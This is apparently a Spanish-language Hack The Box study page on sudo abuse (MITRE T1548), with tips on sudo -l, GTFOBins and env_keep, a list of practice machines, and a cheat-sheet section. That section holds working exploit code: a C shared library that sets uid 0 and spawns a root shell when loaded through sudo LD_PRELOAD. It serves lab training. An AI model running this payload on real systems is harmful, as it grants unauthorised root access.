Sudo y su caché
Subtécnica de T1548 Abuso de mecanismos de elevación
Abusar de lo que sudo te deja ejecutar como root: binarios con escape, scripts escribibles o variables conservadas.
Cómo aparece en Hack The Box
sudo -l es lo primero que se ejecuta al tener shell. Fíjate en binarios de GTFOBins, en scripts que importan módulos o llaman a comandos sin ruta, y en env_keep (LD_PRELOAD).
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Se muestran 48 de 61. Entra en cada técnica del catálogo de arriba para verlas todas.
Guías
- Escalada en Linux: sudo, SUID y capabilities 4 min de lectura Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada de privilegios en Linux › Comprobaciones
sudo -l
sudo -V | head -1
Escalada de privilegios en Linux › Explotación
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
Ningún comando coincide.